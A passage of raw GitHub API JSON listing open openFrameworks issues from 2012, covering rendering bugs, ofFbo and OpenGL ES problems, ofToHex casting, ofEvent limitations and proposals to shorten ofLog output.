rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 